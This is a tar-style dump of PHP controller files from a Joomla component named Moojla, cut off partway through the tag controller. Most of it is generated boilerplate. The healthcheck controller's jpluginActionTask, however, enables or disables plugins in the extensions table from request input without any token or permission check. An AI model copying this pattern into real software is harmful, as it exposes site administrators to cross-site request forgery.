http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Healthcheck Controller
 */
class MoojlaControllerHealthcheck extends JControllerLegacy
{
	public function __construct($config)
	{
		parent::__construct($config);
	}

	public function dashboard()
	{
		$this->setRedirect(JRoute::_('index.php?option=com_moojla',
false));
		return;
	}


/***[JCBGUI.custom_admin_view.php_controller.1.$$$$]***/
  function jpluginActionTask(){
    $elm = $this->input->get('elm');
    $type = $this->input->get('type');
    
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $fields = array(
      $db->quoteName('enabled') . ' = ' .
$db->quote($type),
    );
    $conditions = array(
      $db->quoteName('name') . ' = ' .
$db->quote('plg_' . $elm), 
    );
   
$query->update($db->quoteName('#__extensions'))->set($fields)->where($conditions);
    $db->setQuery($query);
    // echo $query->__toString();
    $result = $db->execute();
    return true;
  }/***[/JCBGUI$$$$]***/

}
controllers/import.php000064400000004143151165724360011151 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		import.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Import Controller
 */
class MoojlaControllerImport extends JControllerLegacy
{
	/**
	 * Import an spreadsheet.
	 *
	 * @return  void
	 */
	public function import()
	{
		// Check for request forgeries
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		$model = $this->getModel('import');
		if ($model->import())
		{
			$cache = JFactory::getCache('mod_menu');
			$cache->clean();
			// TODO: Reset the users acl here as well to kill off any missing bits
		}

		$app = JFactory::getApplication();
		$redirect_url =
$app->getUserState('com_moojla.redirect_url');
		if (empty($redirect_url))
		{
			$redirect_url =
JRoute::_('index.php?option=com_moojla&view=import', false);
		}
		else
		{
			// wipe out the user state when we're going to redirect
			$app->setUserState('com_moojla.redirect_url',
'');
			$app->setUserState('com_moojla.message', '');
			$app->setUserState('com_moojla.extension_message',
'');
		}
		$this->setRedirect($redirect_url);
	}
}
controllers/index.html000064400000000054151165724360011120
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>controllers/languagetranslation.php000064400000002723151165724360013703
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		languagetranslation.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Languagetranslation Controller
 */
class MoojlaControllerLanguagetranslation extends JControllerLegacy
{
	public function __construct($config)
	{
		parent::__construct($config);
	}

	public function dashboard()
	{
		$this->setRedirect(JRoute::_('index.php?option=com_moojla',
false));
		return;
	}
}
controllers/module.php000064400000020165151165724360011126 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		module.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Module Controller
 */
class MoojlaControllerModule extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'Modules'; // safeguard for setting the
return view listing to the main view.
		parent::__construct($config);
	}

        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.module.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.module.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Module', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=modules'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/modules.php000064400000003542151165724360011311
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		modules.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Modules Controller
 */
class MoojlaControllerModules extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_MODULES';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Module', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
controllers/moojla.php000064400000002301151165724360011112 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		moojla.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla Controller
 */
class MoojlaControllerMoojla extends JControllerAdmin
{

}
controllers/section.php000064400000020175151165724360011306
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		section.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Section Controller
 */
class MoojlaControllerSection extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'Sections'; // safeguard for setting the
return view listing to the main view.
		parent::__construct($config);
	}

        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.section.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.section.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Section', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=sections'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/sections.php000064400000003547151165724360011475
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		sections.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Sections Controller
 */
class MoojlaControllerSections extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_SECTIONS';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Section', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
controllers/tag.php000064400000020323151165724360010410 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Tag Controller
 */
class MoojlaControllerTag extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'Tags'; // safeguard for setting the
return view listing to the main view.
		parent::__construct($config);
	}

        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();
		// Access check.
		$access = $user->authorise('tag.access',
'com_moojla');
		if (!$access)
		{
			return false;
		}

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.tag.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.tag.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Tag', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=tags'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
